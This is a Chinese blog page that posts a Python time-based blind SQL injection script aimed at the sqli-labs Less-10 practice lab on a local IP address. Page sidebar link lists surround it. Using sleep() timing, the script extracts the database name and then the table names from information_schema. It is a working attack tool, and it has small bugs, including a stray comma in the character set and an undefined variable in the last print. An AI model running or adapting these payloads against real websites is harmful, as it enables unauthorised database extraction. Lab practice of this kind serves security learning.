当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string
# 假设页面无任何回显需要用到时间注入
url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and '
a1=0
for a in range(10):
start=time.time()
res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -")
response = res.text
end=time.time()
if end-start>1:
a1=a
print(f'库名长度为{a1}')
break
low = 'abcdefghijklmnopqrstuvw,xyz'
res1=''
for a2 in range(a1+1):
for a3 in low:
start = time.time()
res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ")
response4=res3.text
end = time.time()
if end-start>1:
res1+=a3
print(f'库名为{res1}')
# 查表数量,不需要判断表的数量,直接gruop_concat
res8=[]
# 取表名
res7 = ''
for a7 in range(1,60):
for a8 in low:
start = time.time()
res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ")
response6=res6.text
end = time.time()
if end - start > 2:
res7+=a8
res8.append(res7)
print(res8)
print(f'数据库{res4}有{res8}表')
边栏推荐
- Delightful Nuxt3 Tutorial (1): Application Creation and Configuration
- Django从入门到放弃三 -- cookie,session,cbv加装饰器,ajax,django中间件,redis缓存等
- 【解读合约审计】Harmony的跨链桥是如何被盗一亿美金的?
- Qlik Sense 临时处理表数据详解(Resident)
- Try setting CHROME_EXECUTABLE to a Chrome executable
- 理论上的嵌入式跑马灯
- 漫谈Map Reduce 参数优化
- Playing with Markdown(2) - Extraction and Manipulation of Abstract Syntax Trees
- 【函数与递归】7.19
- 边缘辅助无人机网络的分层联邦学习
猜你喜欢
随机推荐
理论上的嵌入式跑马灯
联邦学习摘录
嵌入式实验四
中国人造金刚石行业投资战略规划及发展前景预测报告2022~2028年
用C语言来实现扫雷小游戏
Invalid signature file digest for Manifest main attributes解决方法
【圣诞节给爱的人打印一颗圣诞树吧】超详细代码实现——圣诞树打印
MySQL 优化建议详解
【DC-5靶场渗透】
速来围观,17个运维实用技巧
MySQL 安装报错的解决方法
Let small program development into ` tailwind jit ` era
私有变量(private) 【详细+易懂】
漫谈Map Reduce 参数优化
jsp通过form表单提交数据到servlet报404
7.21[日常]
浏览器中的 preview 和 response 的值不一致
spark sql 报错 Can‘t zip RDDs with unequal numbers of partitions
经典论文-ResNet
机器码介绍









